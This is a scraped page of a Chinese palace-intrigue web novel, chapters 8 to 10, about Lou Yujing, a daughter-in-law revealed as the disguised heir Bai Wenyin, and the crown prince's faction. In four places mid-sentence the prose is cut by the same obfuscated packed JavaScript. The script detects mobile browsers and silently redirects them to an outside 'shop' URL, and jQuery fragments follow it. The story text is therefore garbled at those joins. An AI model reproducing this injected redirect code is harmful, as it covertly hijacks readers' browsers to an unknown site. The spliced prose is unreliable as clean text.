白倾熙自然也认得他,她袍袖下的手攥紧,面上却故作茫然无措,后退半步警惕道:“是我,不知这位大人可有要事要寻我公爹?” 李丞相笑得更开心了,声音却是冷的:“要事的确是有,只是在这之前我想问问,白小姐,你夫君楼韫去了哪里?” 白倾熙心下一沉,楼玉京比她更早知道李丞相带人到了江南,估摸着是让楼韫先走了。 她勉强扯出一个笑:“我不知道。” “不知道?既然如此,就进去陪你公爹罢。” 白倾熙被扣下,压着一道进了楼府,这会楼玉京被团团围住,一见白倾熙被押进来,瞳孔微缩,她不是让楼韫带着白倾熙从春歇楼的地道先走的吗! 白倾熙倒还算冷静,被推到楼玉京身侧,楼玉京忙扶住她。 “倾熙……你……” “公爹,这位贵人是谁啊……为何要抓我们……”她佯装惊恐,人却还站在楼玉京跟前没有要往后躲的意思。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17845926|211733||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' /p> 楼玉京这会也顾不上什么了,把人拉到身后对上李丞相的视线。 “丞相大人,您今日所为,究竟为何?” 李丞相手上掌珠,身侧下手为他抬出一张椅子,他坐下散漫地道:“玉京啊,你何必这么惊慌,说起来我们也好多年不见了,不如好好聊聊?” 楼玉京冷笑,咬牙道,“李丞相,就算要聊,你留我一人就是,何必抓着我家新妇为难!” “为难也说不上,只是玉京,你儿子去哪了?” “李丞相要与我叙旧,问我儿子做什么?” 李丞相淡然一笑,饮了口下手递上的热茶,见她不配合,淡薄的一层白烟后李丞相敛了笑意,声音冷沉。 “玉京,你觉得现在有你反问我的份吗?” “若真只有你也便罢了,只是你不在乎自己,也不在乎你家新妇吗?” 白倾熙拉住她,冲她摇头:“公爹。” “李明德,你何苦为难她,她什么都不知道!” “玉京,这样说话就不礼貌了,毕竟我还算你的长辈。”李丞相说,“也别怪我,毕竟谁让楼太傅不肯告诉太子殿下朝华的下落呢?放心好了,只要你师父松口,我保证你们会没事。” 太子行事到底是激进了些,彼时京城内,楼悯弦收到消息缓缓睁眼,太子站在他跟前。 “太傅,孤不想为难你,是你逼我的。” 楼悯弦叹了口气:“殿下,你还记不记得,当年是我把你从冷宫带出来的。” “孤记得,可是太傅,朝华终究是隐患。” 楼悯弦默然,果真是无情莫过帝王家,除了松口他再无其他路可选。 “我可以带你去见朝华,殿下,前提是让李明德回来。” 太子定定看着他,往常他们之间很少涉及这样的谈判,作为太子太傅,楼悯弦的话在他心里还是有些份量的。奈何今时不同往日。楼悯弦倒了杯茶递过去,太子没接,自知没有商量的余地,他看着他那双眼睛许久。 “……好。”楼悯弦收回手,与他说,“我带你见了朝华。殿下,你答应了放人,就别再骗我。” 京城楼府暗室,楼悯弦推开石门,里面坐着一个女人,太子朝她颔首。 “太傅最好没有偷梁换柱。” 楼悯弦说:“在我徒弟的命和朝华之间,我不认为朝华比玉京重要。” 也是,毕竟当初谁不知道楼悯弦最宝贝这个徒弟,只是太子还是留了个心眼。都说朝华武艺高强,眼前女人看上去比旁人高大壮实,肌肉明显,没有半分被娇养过的痕迹,的确一眼看上去就是习武之人。她鼻梁有一颗痣,不细看压根瞧不出来。 “朝华么?想见你一面还真是困难。”话音未落人已经朝着对面的女人抬掌打去。 朝华甚至没有睁眼,抬手接下,余力震得衣袂翻飞,尘烟四起。 楼悯弦皱眉,像是知道太子会突然发难,只是朝华接下了这一掌,烟雾散去,太子被震得往后退了几步,吐出一口血。他扯唇发笑,抹去唇角的血。 “很好。”太子说。 “太傅果然爱徒如命。” 朝华终于睁眼,从石凳上起身,往台阶下走去。 “太子殿下,我以为我威胁不到你。” 太子冷笑:“看上去是威胁不到,可这种事情谁又知道呢?” “你想要我临阵倒戈?” “如果你想死,也可以继续在三皇弟手下做事,我并不觉得今天就能拉拢到你,只是你最好深思。” “……” 从暗室离开后,太子藏在袖口的匕首横在楼悯弦脖颈前。 “太傅,据探子回报称,那一日琼景王的白鸽去的是江南。” “引导一只白鸽并不是什么难事。”楼悯弦从袖口拿出一包药粉,“如果你愿意,也可以让你的白鸽引导别人。殿下最是明白我有多在乎玉京。” 太子盯着他淡漠的脸,楼悯弦似乎对于什么事情都是喜怒不形于色,除了对上楼玉京相关。 他最终收回匕首。 “那就好,毕竟在朝华倒戈之前,我不会给李明德传信。” 楼悯弦眉头蹙起:“殿下,你答应了我的。” 太子笑了,拍了拍楼悯弦的肩膀,衣衫很干净,并没有什么灰尘。 “太傅,现在我加条件了。” 8. 高林簇雨声 整整三日,京城与江南表面如往昔平静,实际早已暗流涌动,朝堂之上群臣貌合神离。如今皇帝病入膏肓,医术精湛如楼悯弦也无力回天。楼玉京和白倾熙被锁在柴房,楼韫不知去向,李明德派人搜寻许久依然一无所获。 春歇楼这几日不曾开张,邻里总有些早年出门见过丞相大人面貌的,这会也不敢上门多问。 朝华仍然没有松口,纵使太子肯耐下性子也不可能容忍她一拖再拖。 “太傅,孤只给你两天,若两日后朝华不肯归降,孤会亲自送她上路。至于你那徒弟,孤一样不会放过。” 说着送她上路,无非是用楼玉京施压,逼着楼悯弦去劝降。 楼府柴房,楼玉京磨断绳索,悄然行至白倾熙身侧为她解绑,她压着声问,“会翻墙吗?” 白倾熙点头,楼玉京便说,“一会出去你往东边跑,越快越好,不要回头。” “公爹要留下?” “李明德总归是需要筹码的,他们的目标一直都是师父,我只是牵制的绳索,他不会把我怎么样。” 楼玉京一边说一边推开窗户,“从这边走。” 外边日头正盛,白倾熙小心翼翼翻了出去,楼玉京助她上墙,她爬上墙头正欲跳下,哐当一声巨响,柴房的门被猛然踹开。 楼玉京焦急道:“倾熙,跳出去,别回头——” 话音未落,白倾熙拽住她往回收的手,楼玉京只感受到一股强劲的力道连着她一起拽了出来,而后是失重与剧痛,两人摔在地上。这会顾不得疼痛,爬起身拽着白倾熙往东边不要命地狂奔。 “前面有岔路,倾熙,我们……” 不对。 楼玉京突然停了下来。 太安静了,往日喧闹的街道空无一人,万籁俱寂。 “公爹?”白倾熙也自然意识到这一点,猛回头看她。 “晚了。”楼玉京看着空旷的街边喃喃道。 早早守在附近的侍卫破门而出,十余人将她们团团包围。 楼玉京是楼悯弦的徒弟,李明德怎么可能蠢到不设防,早该知道没这么简单。何况就算她没逃出来,李明德也不会放过白倾熙。 仅仅一念之差,就因为白倾熙已经是楼府的人。 楼玉京护着人站在身后,李明德没有追过来,围着她们的皆是他筛选下来的精兵强将。一人举着长矛上前,楼玉京侧身躲过,伸手拽住长柄往前使劲一拉,待人靠近便猛踹一脚。 见她会武,其余人手对视一眼,一并进攻,楼玉京倒是不怕伤到,她自知一个人再厉害也终究是双拳难敌四手,唯一担心的是白倾熙要如何躲? 耳边是利刃划过空气的声响,混着侍卫的闷哼与倒下时盔甲磕碰的声音。 楼玉京双手攥着长柄,余光看见身侧有人奔来。 完了。 她想。 预想的疼痛不曾传来,只听见铮铮两声,匕首与长矛的碰撞炸出火花,侍卫被这股冲击带着摔倒在地,楼玉京猛然回头,身后是白倾熙与几个倒地的侍卫,以及她手上的两把匕首。 楼玉京瞳孔骤缩,她无从追究她的匕首从何而来,唯一意识到的,是她帮了她。 以及—— 白倾熙……会武。 楼玉京抬脚蹬开身前侍卫,拽着她趁他们因疼痛暂时无法起身而向前逃离。 待两人逐渐消失在视线中,李明德才从暗处走出,方才倒在地上的侍卫已然起身整列。 李明德冷哼一声,甩袖吩咐,“跟上她们,务必找到楼韫。” 京城楼府,暗室内气氛亦是剑拔弩张,朝华长剑悬在太子脖颈旁,她的眼神很冷,凌厉肃杀,太子脸色也称不上好看,楼悯弦坐在一旁吹着热茶。 “孤以为朝华几日不曾离开,是真真在思忖是否要归降,如今看来,比起归降,还是要造反的心更胜一筹。” “殿下尚未登基,陛下也还没有驾崩,造反这个词终归是不够准确的,还是说殿下以为陛下必死无疑,连表面功夫都不肯再做?” “妄议皇室,朝华小姐是觉得自己这二十余年已经活够了?” 朝华就笑了,“太子殿下,我不认为你登基之后我还会有下一个二十年可以活,权力制衡,倒不如维持现状,让陛下多活些时日。” 太子嗤笑,侧身看向楼悯弦。 楼悯弦这会也放下茶杯,掀起眼帘,声音平淡地复述着一个已知结果。 “陛下已然无力回天。” 太子重新面向朝华,“父皇濒死,就算是太傅那样的医术都救不回来,谈何制衡。” 朝华收了剑,转身取来抹布往地上阔腿一坐,平静地擦拭利刃。刀尖舔血的人从不在乎威胁,她听过太多类似的话,循循善诱也好,威逼利诱也罢,最终都指向一个要求她必须绝对臣服的结果。 “殿下还是趁早回吧。”朝华收起抹布,长剑收鞘,淡然道,“我与你之间,只有你死我活。” 太子见她冥顽不灵,神色骤冷,咬着牙讽刺道:“好得很!好一个你死我活,朝华小姐当真是坦然自若、视死如归!” 说罢抬手,早早等候在外的下属带兵闯入,将三人团团包围。 朝华脸上依然没有半分情绪,楼悯弦喝完了茶,放下茶盏,悠然起身。 “殿下,朝华之事我会替您处理,玉京那边还请殿下好生照料,若他日我与玉京再见,她有负伤,使我师徒物是人非,我不介意与朝华联手。” “太傅,孤给过你时间。”太子猛然提剑直指楼悯弦,“是她不肯松口——你没有成功劝下!” 楼悯弦两指夹住利刃,瞬间运功发力,太子不是他的对手,几乎是转瞬间震得他松了手。楼悯弦疾步朝他抬掌打去,肩膀一阵疼痛,太子闷哼一声,却没有失态地痛叫,只是单膝跪着捂住疼痛的地方仰头看他。 楼悯弦的眼里是他的熟悉的冷,方才掉落在地的长剑已经指着他的喉间了。 “姑娘,下回聚。” 他对朝华说。 侍卫们原本要上前,太子却抬手阻拦,他还是看着他的双眼。朝华已经离开了,楼悯弦收了剑,移开视线。 他连看他都不再愿意了么? 太子忍着疼扯唇挤出笑,声音低哑。 “太傅曾说孤是你最得意门生,你说皇室最大的错便是草菅人命,视百姓如蝼蚁。天底下曾暴君无数,疑神疑鬼、令他人壮志未酬的庸君亦是不少,你教我莫要学了此等忘恩负义之事,要我信用、多用忠臣。但如今呢?” “……” “太傅,孤依然走上了这条路,你失望么?” 楼悯弦终究是轻叹一声。 “衍知,你知道我从不会轻易 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李明德眼神阴鸷,狠厉地道:“不了解朝堂的废人罢了,就算回了,也难当大任。” 雨水淅淅沥沥自屋瓦上方滚落,闷雷骤响。 此刻的萧氏当铺,地窖内,萧掌柜掌灯深入,行至被他劈晕的楼韫身旁,身后跟着的是萧鹤明以往的侍从。 萧掌柜未侧身,压着声道:“吝筱,世子那边如何?” 吝筱低声应道:“已经甩开李明德的人了,现在就藏匿于我们新开的点心铺地窖。” “世子带她去的?” “不,是楼老板带世子去的。” 萧掌柜不由得一愣,旋即也明白过来,那点心铺背后投了银两的不止萧鹤明,只不过楼玉京大抵换了身份,或是没有亲自出面,这才没有留下马脚。 吝筱看着仍旧在昏睡的楼韫,若不是那人还有呼吸,他都觉得是不是自己的蒙汗药弄死人了。他蹙眉道:“掌柜,他都睡了三日了。” 萧掌柜淡淡扫了一眼,摸着胡子凉凉道:“谁让你见人被劈晕了还补那么多蒙汗药?” 吝筱:“……” “世子只说照顾好他,又没说不许他醒,他不习武,怎么有你醒得快?” 话音刚落,余光瞥见原本深睡的男人蓦然睁眼,冷冷盯着两人。 萧掌柜:“……” 9. 急雨洒高城 地窖,楼玉京寻了根粗长的棍子抵住木板,这会总算能松口气。她不知道如今楼韫如何,藏匿何处,但至少李明德还在找,他暂时安全。 白倾熙站在她身后,她大概是想问的,为什么她会武,为什么瞒着她,为什么她当初没有查到?最后却只是回头对上她坦然的视线,欲言又止。外头是无尽追捕,两人在一根绳上,此时内讧并不明智,加之白倾熙并没有要害她的意思,她也就没有提起这个话题。 白倾熙却没有要逃避的意思,往前走了一步,她确实比楼玉京高上不少,伸手攥住她粗糙的手腕,两人极少有过肢体接触,尤其是手部,这会楼玉京也才发觉那只手带着茧子。 常年习武。 这是她的第一想法。 其次她见过很多妇人,姑娘的手,或细嫩或粗糙,但绝大部分没有像是白倾熙那样宽大。 男人的手。 这是她的第二想法。 “我知公爹觉着我疑虑重重,这些都可以解释,但不是现在。” 还是雌雄莫辨的声音,甚至比往常阴柔些。 楼玉京看了她许久,终是点头应允。楼上已经来人了,脚步声不乱,有条不紊,而后是箱子被推开的摩擦声,头顶的木板被敲击两下。 楼玉京下意识攥紧撑在木板上的木棍,忽而手背一热,白倾熙安抚地握住了她,仰头对上木板缝隙的光。 “开。” 下一瞬暗格被拉开了,不是李明德,亦不是白倾熙所想的萧掌柜,楼玉京瞳孔骤缩。 “阿韫!?” 白倾熙有些意外,楼玉京已经动身往上爬了,楼韫没说话,后退几步等她们爬出来。 楼玉京几乎是站稳的瞬间就攥住他的手腕细细查看,楼韫并未受伤,白倾熙盯着他,“你出来做什么?待在萧掌柜那儿比出来安全的多,也省得拖后腿。” 楼韫脸色从未如此凝重,没有回答她,反倒看着楼玉京握住自己的手,默然片刻,他终于还是问她:“为什么朝堂会有人针对我们?” 那语气像是真的疑惑,却在她听来也像是质问,默然片刻,他又说,“爹,您从前只说师公是京城商贾,可为什么我听到的版本是他隶属于朝廷,称一句楼太傅?” 楼玉京僵了一下,瞒了那么多年,一朝不慎还是让他有所知晓,楼韫自然也感受到了那霎时的僵硬,忽然扯唇笑了起来,抽回了手。那语气温和的仿佛两人从未心生嫌隙,似乎他并不在乎楼悯弦到底是什么身份。 楼韫问她:“爹,你紧张什么?” “……” 这般动作这般语气,他是在生气吗?楼玉京想,他在生气自己欺瞒与他。 或许是的吧,换了他人这样欺骗自己,楼玉京只会比楼韫更狠。 楼玉京悬在半空的手略显尴尬,指尖蜷了一下,她也收回手,错开他的视线说:“阿韫,这些事情,日后我会与你细说,现下我们要做的是躲。” 楼韫淡然应了声,却嘲讽地看向了白倾熙,白倾熙掀起眼帘,不偏不倚正对上他的视线,问他想说什么,顿了顿,又问他如何知道。 楼韫笑的愈发愉悦了,话也愈发不留情面,“世子自己安排的人,又问我如何知晓,倒显得虚伪。” “世子?” 楼玉京低声,带着些许茫然地复述。又忽然惊觉曾经抛之脑后的细节。 萧府,萧掌柜,世子。 串联之后…… 会是他吗?楼玉京盯着白倾熙的脸,是他吗? 琼景王世子,白问引。 那个只存在于传闻间的病秧子,居于琼景王府深处,足不出户,几乎没有几个人见过他。 可是为什么? 为什么好好一个世子要如此忍辱负重,男扮女装嫁给他儿子,为什么会长着一张与萧鹤明相似的脸。楼玉京只觉得地窖的阴冷也比不过她此刻脊背发凉,萧鹤明的坟前,楼府的梨树下,甚至只是一些稀疏平常的事,在这短短不到一年的时间里都留有白倾熙的影子。 他在有意接近她。 为什么? “爹一向聪明,又怎在这犯了糊涂,琼景王世子,不是最明显吗?”楼韫收了笑,大抵也不想见她这样恍惚。 白倾熙沉沉看着楼韫,话却是对楼玉京说的。 “公爹猜的不错,我是琼景王世子,但我自问心无愧,那夜所说句句属实。” 楼玉京没说话,白倾熙又说,“萧鹤明的死。” 五个字在她脑中刹那炸响,眼前似是烟花流溢,还未来得及散去,下一秒白倾熙说:“还有你父母的死。” 耳边嗡鸣,胸口骤痛,如鼓点砸下又沉又闷。 楼玉京猛然攥紧他的手腕,死死盯着他双眸,一字一顿:“你说什么?” 白倾熙回视她,那双与萧鹤明相似的眼眸盛着她此刻的模样,却将那点狰狞照得无影无踪。 “楼氏夫妇对于公爹之事做的滴水不漏,人人以为公爹是女子,也幸好没有人猜忌,至少公爹目前还算安全。” 人人认为她是女子……楼玉京想起她被送走的前段时间,父亲以招募家丁为由在好几家裁缝铺订了长衫,尺寸却含有她的。深夜里母亲在她门口站了很久也没有推门进去和她说一句话。 从那时候他们就在准备了。 那些刻意被她忽略的细节一瞬清明。 可真的没有人怀疑过她女扮男装吗? 曾经是有的,只是全被楼悯弦挡回去了。所以白倾熙认为她是男人,楼悯弦与她父母联手真是做了一场好局,保她一人周全。 “你到底是谁。”楼玉京依然是擅长压制情绪的,但此刻已经将近木然,质问道。 “琼景王世子,白问引。”白倾熙说。 “……” “真的只是这样么?” 白问引垂眸不再看她,说只是这样。 真的只是这样吗?为什么他会知道这么多?又为什么有意接近她? 甚至是这张脸。为什么偏偏是这张脸? 是为了拿这点消息换她为琼景王卖命么?可他凭什么这么笃定她一定会同意? 楼玉京思忖间不自觉松了手,楼韫顺势将白问引拉开,沉声说:“还真是手段高明,能屈能伸,只是我竟不知堂堂世子竟比戏子还会演。” 白问引没再有任何动作,只问楼韫:“萧掌柜呢?” 楼韫说:“萧府。” 楼玉京大概还想再问些什么的,门外忽然传来的急促脚步声打断了她。点心铺的掌柜压着声,说李明德的人快搜到这边了。 她不是意气用事的人,就算再痛也能面不改色地强行压在心底,装作若无其事。 白问引将楼韫推下地道,又侧身让楼玉京下去,最后他才跳下来重新用木棍撑住木板,带着两人在地道中七拐八弯地回到萧府,萧掌柜携吝筱早早等候。 待到三人出来,吝筱带人下去封了地道,萧掌柜领人往萧府深处走,到一处僻静的院落,白问引止步,楼玉京亦停下回头瞧他。 萧掌柜冲白问引点头,而后对楼玉京说:“还请楼老板随我继续往里走,世子在府上留有院落,不必担忧。” 倒不是担心,只是……琼景王世子为什么会在一个普通商贾家中有院落,又为什么萧鹤明府上的人对他言听计从? 白问引知她心有疑虑,垂眸低声道:“我与萧大公子乃竹马之交,他算是我半个堂兄。” “半个?” “堂兄与他交情颇深,十多年前他在外打猎,遭人劫财,是萧大公子的商队路过,救了他,那之后堂兄对他多有帮衬,也与我结识。后来我堂兄战死,再没人护着我,同年他生意越做越大,成了陛下眼里的红人,琼景王妃也得给他三分薄面,他主动接了堂兄的担子,护我至死。” 也是,琼景王妃容不下他娘,自然也容不下他。楼悯弦曾经确实有含糊提起过几句,只是这张相似的脸…… 白问引自然知道楼玉京在想什么,又说:“有传言说萧大公子是我父亲在外的儿子。” 一句话下来既解释了这张脸,兄弟的身份也足够让他调用萧府的人。楼玉京不疑有他,她的身手在萧府还能护住楼韫,不怕有假,便与萧掌柜朝深处去了。 地道虽暂时被封锁,但李明德找到他们也只是时间问题,楼玉京和楼韫刚换好萧府下人的衣服混在膳房的一众仆从里,李明德带人围了萧府。大概是觉得一介商贾不足为惧,男人在门外摩挲着手上的玉扳指,看似温和,平静水面之下是波涛汹涌司机要命。 “萧府管事在否?”李明德笑吟吟地,“关着门接客人是否太失礼,本官听说前段日子你们才办了大公子的丧事,主子刚去不久,就这般没有规矩,教他在九泉之下如何安生?” 门打开了,出来的不是暴跳如雷的掌事,萧掌柜仍旧是平和的。 “丞相大人是觉得萧府死了大公子便可以任你拿捏么?” 自然不是的,将来太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17845928|211733||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 子登基,还用得上萧府。李明德哈哈笑了两声,说:“萧掌柜言重了,大公子在与不在,皆不影响萧家与陛下交好。” 萧掌柜冷哼道:“不知丞相大人在此大动干戈意欲何为?” 李明德道:“东街巷有一家刚开业不久的点心铺子,那铺子下有条地道,出口繁多,但有一条直通萧府,不知萧掌柜作何解释?” “是吗?”萧掌柜并未慌乱,不卑不亢,“此事我会让人处理,但这不是丞相大人带人围府的理由。” 李明德眼里的阴鸷一闪而过,冷笑:“倘若贵府私藏逃犯呢?” “李丞相。”萧掌柜身后的庭院前站着一个男人,那人长身玉立眉宇锋利,墨色衣衫华而不庸,他虽没什么表情,但周身那股居高临下的压迫依然不容忽视。 “琼景王世子?”大概是想起了什么,李明德脸色顿时变得精彩。 就算再看不起这位世子,他也不得不卖琼景王薄面。 白问引行至萧掌柜身前,垂眸看着一众侍卫。 “丞相大人这是何意,是觉得我会包容逃犯么?” 天大一顶帽子扣下,李明德袍袖下的手骤然攥紧,手臂青筋几乎暴起,片刻又维持住那抹难看的笑,说:“自然不是,世子殿下何必……” “既然不是,那么请便。”也不等他说完,白问引冷声打断他,“带着你的人,速速离开。” 李明德自是不愿放弃,身后却来人附在他耳边低声说太子让他回去,他只得咬碎了牙带人离开。只是几步之后又停下,“世子殿下不如多看看楼家公子。” 说完便离开。 白问引也不知有没有听进去,总之等人走远,他才让萧掌柜关门,去了膳房找人。 “公爹请随我来。” 这句公爹在此刻倒显得诡异了,楼玉京眼皮一跳,又觉着他在外的身份是她儿媳,在人前自是要唤一句公爹的,便就没有出声纠正。 萧府书房,危机暂时解除,楼玉京在他身后开口。 “我爹娘的事你为什么会知道?” 白问引取出那份残缺名单递给她,道:“因为我也在查。” “陛下处理得太绝,目前我已知的只有这份残缺名单,以及他们不仅死于站队错误,这份名单里有的人也和你父母一起被秘密处理,也有人活着藏于市井。”他指着画圈的名字说,“这些人里,我只找到了谢允。” “……谢允?” 楼悯弦给出的名单里谢允该是死了的,他也是当年除了楼氏夫妇以外最得先太子器重的人。 “为什么告诉我这些?” 白问引也不与她藏着掖着,言简意赅:“我想与你合作。” 楼玉京盯着他的眼睛:“我不会为琼景王卖命。” “我也不为他卖命,即使我身上流着他的血,我也恨他害死了我母亲,但我们同样选择了三皇子,有些交际终究不可避免。” 见她久久没有开口,白问引叹息一声,问她:“如果他们不止要你的命,如果他们要楼韫的命呢?” 楼玉京瞳孔缩了缩,“为什么,阿韫什么都不知道。” 白问引思忖着道:“我也不大清楚,许是太傅的原因,他们想你还不够成为威胁他的筹码,想要用楼韫加注。” “又或许楼韫的身份……” “不可能!”楼玉京打断他,“我养了阿韫十年,他的性子绝不像皇室等人,他并不冷血。” “可皇室也有并不冷血的人不是吗?” “那只是少数。” 她不愿信。 白问引沉默,片刻后说:“罢了,届时一查便知。只是公爹,据我所知,他们真真要他的命,就算你去问了太傅,也会是一样的结果。” 会是一样的结果,只是不知道为什么。 楼韫究竟特别在哪? 何况现在的她处于劣势,就算有自己的布局与人手,还是不足以对抗太子党。许是他句句恳切,用她父母之死当做筹码与诚意,楼玉京最终同意与他联手。 楼韫换回自己的衣衫刚到书房便听得楼玉京说话,她说了一句“好。” 在书房外听得一清二楚,大概是答应了白问引一些事情,也许是合作,也许是别的什么,他扯了扯唇,那笑自嘲而苦涩。 他怎么就忘了呢? 怎么就忘了她的性子。 她这人啊…… 是明知眼前杯中酒是毒,却还甘愿饮鸩止渴,不死不休。 10. 世间事事愁 京城,东宫书房,谢衍知接到消息,李明德在江南萧鹤明府上见到了白问引,对方出现得太巧,似是有意为之。谢衍知思忖片刻,而后起身大步朝门外走去。 “阿福,去一趟琼景王府。” 街道空旷,这个点几乎人人家中都灭了灯,琼景王府一如往常,家丁刚准备挂灯笼,谢衍知与阿福便到了。管事一手拎着衣摆跨过门槛朝他行礼,“见过殿下,不知殿下深夜前来,可有要事?” 谢衍知淡淡道:“王爷在否?” 管事谦恭道:“殿下来的不巧,王爷近期不在城中。” 谢衍知一顿,眸色幽深。确实不巧,前几日尚且在城中,今日他一来却不在了。他扯唇笑了笑,说:“无妨,那就见见王妃,夫妻一体,想来也是一样的。” 管事依然恭敬,态度却略显强硬。 “殿下,夜已深了。” 外男随意面见女眷,还是在深夜面见嫁作人妇的女眷,终究不妥。对他造成的麻烦不算大,但对王妃来说足够招人非议。 管事作揖道:“殿下若有要事,属下这就安排人给王爷传书。” 谢衍知倒是没有为难,说:“不必,孤暂且回去等他就是。” 与此同时,楼府寂静无声,楼悯弦收到信件,得知楼玉京等人暂且安全,便点燃了信纸。 密室之中,朝华等候多时,听见动静抬眼见了人,她倒了杯酒朝他遥遥敬去,楼悯弦没有靠的太近,在门口站定。 “姑娘考虑好了吗?” 朝华饮尽一杯酒,放下酒杯起身幽幽道:“太傅开了口,我没有不帮衬的道理,只是若他察觉,你又远在京城,江南那边你要如何保全她?” 楼悯弦垂眸像是在思忖,只是弹指一瞬便又看向了她。 “我留了佛珠,届时自会有人助她。” “那楼韫呢?李明德已经开始怀疑了。” “在他查到之前,处理干净。” 朝华捏了捏眉心,摆手道:“真是欠了你的,也不怕楼玉京查到。” “只要不是他自己知道,玉京知晓也无妨。”楼悯弦淡淡道,“就算玉京与他说了,凭他单枪匹马,我不认为他有胜算,何况他帮着琼景王世子骗了她,玉京不会帮他的。” “你倒是笃定。” “我了解她。” 一个两个都说着自己对楼玉京多么了解,但其实到了最后,还是没有一个人胜过她了解自己。 朝华倒了一杯酒,手上发力朝他掷去,楼悯弦抬手接过,衣袖遮掩,却仰头。 一樽酒罢,抽刀断水。当真是醉糊涂了,做的事也糊涂。 江南烟雨最迷蒙,青苔石桥,油纸伞过。 李明德暂且不再追查楼玉京等人的踪迹,私下让人去查楼韫。当年他的出现过于巧合,偏偏是楼玉京,偏偏牵扯到楼悯弦。作为先帝太子曾经的太傅,皇帝对他终究留有防备,李明德再不喜楼悯弦也觉着心寒。 约莫过去一盏茶的功夫,客栈的门被推开,蒙着面的黑衣人进来又从里头锁上,摘了面罩,李明德认得他,那是谢衍知身边的暗卫之一。 “闻辛?”他摩挲着玉扳指迟疑道,“殿下有事吩咐?” 闻辛作揖道:“琼景王下了江南,殿下方才得知消息不久。” 李明德手上动作停了,眸子转动,说:“居然这般巧合。” 先是世子,后是王爷。 窗外夜色深沉,有风吹过,客栈的窗户大概多年不换了,多加修缮还是有细微的吱嘎声。 李明德心中嗤然,这是生怕谢衍知不明白他们要做什么,亦或是有意为之,毕竟他心思沉重,对外不和的父子忽然都去往江南,他怎会不多虑。 何况……李明德顿了一下,那张相似的脸,突然出现的白问引与琼景王。那会他觉着白问引尚在京城,又身份尊贵,没必要做男扮女装嫁到别人家这种让人笑掉大牙的事。 但此刻细细想来,如此巧合,那一张脸,这位楼家新妇,不正是琼景王世子么?李明德起身往前走了几步到他跟前,闻辛自袖口抽出一封信朝他递去。 “殿下命属下给大人的,另外,殿下不希望您节外生枝。” 这意思,是不打算让他追查楼韫? 果然是年轻人,刚坐稳位置就连微乎其微的威胁都不放在眼里了,也不怕狗急跳墙。 李明德展开信笺,大致看下来不过是让他多关注那父子二人的动向,让他暂且不动楼玉京。他脸上没什么表情,点燃了信件,回头见他未走,蹙着眉道:“殿下让你留下协助我?” “……不曾。” “那还不走?” “……” 萧府大门紧闭,唯有萧氏当铺开着门,萧掌柜拨弄着算盘,眼睛却看向对面的春歇楼,楼前围了几个熟客,许久不开张,自然有人念着这口。 沈姨抱着一扎菜路过也没忍住停了脚步望去,叹息着摇头,见萧掌柜也在看,便进了去与他闲话。 “老萧,玉京上哪儿去了,前阵子我听说来了位大官把他家里抄了,也不知现下如何。” 萧掌柜捋了捋胡子,叹道:“没见过,许久不见他来开门,倒也不大习惯。只是抄家倒不至于,他那房子不是没人围着了?估摸着是害怕,到外头去躲了。” “真是造孽,也不知道这位大人想做什么。” “就是啊,突然就来围了他家,人也见不着。老萧,你不是认得不少人吗?能不能打听楼老板还会不会回来,我是真想他家的笋干炒肉了。”外头几人也围了过来,你一言我一语的都在问楼玉京的下落及是否回来。 沈姨怀里还抱着菜,眼珠咕噜一转,忽然单手拍向大腿,“哎呀”一声说:“玉京都不见了,那阿韫和倾熙又上哪去了?” 李大爷摇了摇蒲扇,眉宇微皱,回忆道:“我记着我家小子说,那天他瞅见倾熙让人抓回楼府了,玉京也在里头,就是不见阿韫,估摸着是散了。” 萧掌柜拉开抽屉抓了一把瓜子边嗑边说:“没准人家好好的躲着呢,可放心吧,玉京可舍不得你们饿着。” 见他嗑上瓜子,几人也顺了一把,张婶仍是有些迟疑,忽又想起四年前萧家那位刚来时和楼玉京打的那叫一个凶,最后楼玉京都能稳胜,他身手这样好,不会有事的吧。 何叔倒是附和萧掌柜,“可不,有玉京在,咱家几时饿过?我刚来那会钱让狗杂种抢了,还是他接济的我。他会回来的。” 她会回来的。 无论是男人还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17845929|211733||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 是女人的她。 都会回来的。 夜深人静,街上只有打更声,萧府书房还燃着灯。 